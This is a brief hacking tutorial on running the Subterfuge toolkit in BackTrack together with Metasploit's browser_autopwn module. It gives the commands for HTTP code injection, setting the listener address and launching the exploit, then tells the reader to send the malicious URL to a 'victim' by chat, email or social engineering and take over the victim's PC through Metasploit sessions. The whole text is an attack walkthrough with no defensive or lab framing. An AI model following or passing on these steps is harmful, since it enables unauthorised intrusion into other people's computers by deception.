First Install subterfuge Toolkit in Backtrack
Open your backtrack terminal and type subterfuge
Now start a Web browser and navigate to http://127.0.0.1:80/
After a few seconds, you’ll see the main subterfuge GUI displayed.
Click on HTTP Code Injection
Click on Custom Inject and Click Apply
Msf auxiliary (browser_autopwn)>set lhost 192.168.1.3 (IP Address of your PC)
Msf auxiliary (browser_autopwn)>exploit
Now an URL you should give to your victim http://192.168.1.3:8080/
Send the link of the server to the victim via chat or email or any social engineering technique.
Now you have access to the victims PC. Use “Sessions -l” and the Session number to connect to the session. And Now Type “sessions -i ID“